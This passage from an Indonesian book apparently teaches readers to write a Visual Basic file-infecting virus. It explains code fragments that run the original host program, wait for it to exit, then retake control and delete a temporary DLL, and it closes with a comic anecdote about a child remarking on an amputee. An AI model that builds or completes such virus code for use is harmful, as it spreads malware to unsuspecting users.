  • 11. 25 apa sih? Kok jadi bingung saya? Ini adalah sekilas info, yang menunjukkan bahwa perintah OpenProcess adalah salah satu perintah API (Application Programming Interface) bawaan Windows. Perintah-perintah API ini umumnya dipakai dalam pemrograman tingkat lanjut. -------------------------------------------------------------------------------------------------- * GetExitCodeProcess hProg, iExit Ambil data kode penghentian proses. -------------------------------------------------------------------------------------------------- Sekilas info lagi... ☺. Sintak standar dari perintah GetExitCodeProcess adalah: GetExitCodeProcess( HANDLE hProcess, LPDWORD lpExitCode) Parameter hProcess mewakili Handle process. Handle ini haruslah mempunyai hak akses PROCESS_QUERY_INFORMATION. lpExitCode adalah pointer ke variabel untuk memperoleh status penghentian proses (process termination status). Jika sukses, fungsi akan mengembalikan nilai tidak nol. Jika gagal maka nilainya adalah nol. -------------------------------------------------------------------------------------------------- * Do While iExit = STILL_ACTIVE Lakukan putaran selama variabel iExit masih berisi data STILL_ACTIVE. Atau dengan kata lain, tunggu sampai program aplikasi aktif dimatikan. Jadi, program virus akan “tidur sementara” dan menjalankan program asli. Saat program asli selesai dijalankan, kendali akan diambil alih lagi oleh virus. * DoEvents Lakukan event. * GetExitCodeProcess hProg, iExit Ambil data exit code terkini.
  • 12. 26 * Loop Lakukan putaran sampai syarat event terpenuhi. * On Error Resume Next Jika terjadi masalah, lanjutkan pada proses selanjutnya. * SetAttr App.Path & "" & App.EXEName & ".dll", vbNormal Ubah data aplikasi DLL dengan atribut Normal. * Kill App.Path & "" & App.EXEName & ".dll" Hapus file DLL temporer tersebut. * Else Selain itu… * Close #Free Tutup file. * End If Syarat selesai. * End Program virus dihentikan. * End Sub Subrutin modul utama selesai. Maka selesai pulalah (sementara) kegilaan kita! hehehe … ☺ Jika masih bingung, coba Anda baca berulang kali bagian ini. Saya yakin Anda akan semakin paham dan…. Tambah gila tentu saja. -------------------------------------------------------------------------------------------------- Flash Back: Anti Sosial 1 Jarang sekali Kyai Kebal Wirang mengajak muridnya yang masih balita pergi berinteraksi sosial. Karena takut menjadi anti-sosial sejati, maka hari itu diajaknya Megatruh kecil pergi jalan-jalan. Megatruh begitu gembira dan tak bosan- bosannya ia bertanya tentang apa saja yang dilihatnya. Sang kyai dengan sabar meladeninya dengan menjawab semua pertanyaan sang murid.
  • 13. 27 Setelah lelah berkeliling, pulanglah mereka berdua. Kyai Kebal Wirang dengan gesit menghentikan angkota yang kebetulan melintas. Naiklah mereka berdua ke dalam angkota. Dalam perjalanan, Megatruh banyak diam. Hanya saja matanya yang bundar tanpa dosa, terlihat berkejab-kejab seperti kebingungan. Tangannya berpegangan kencang pada baju sang kyai. Kyai Kebal Wirang memerhatikan hal tersebut, lalu bertanya: “ada apa, kamu kok … kebingungan seperti itu?” Megatruh memandang wajah sang kyai dengan ragu. “Kyai tidak marah kalau saya bertanya?” “Tentu saja tidak,“ jawab sang kyai singkat. Dengan lantang Megatruh kecil bersuara keras sekali tanpa dosa sambil me- nunjuk kepada seorang lelaki yang duduk di depan mereka: “Ini lho… kyai… saya heran. Bapak yang di depan kita ini, kakinya apa ketinggalan satu di rumah ya?” Kyai gendeng tersebut melonjak kaget dengan pertanyaan polos sang murid balita. Dipandangnya bapak yang ditunjuk oleh Megatruh kecil dengan saksama, ternyata di depannya duduklah seorang lelaki cacat yang buntung sebelah kakinya. Dengan nyengir dan muka merah padam, sang Kyai berkata “mas supir… kiri mas. Kita mau turun” … ☺ -------------------------------------------------------------------------------------------------- ***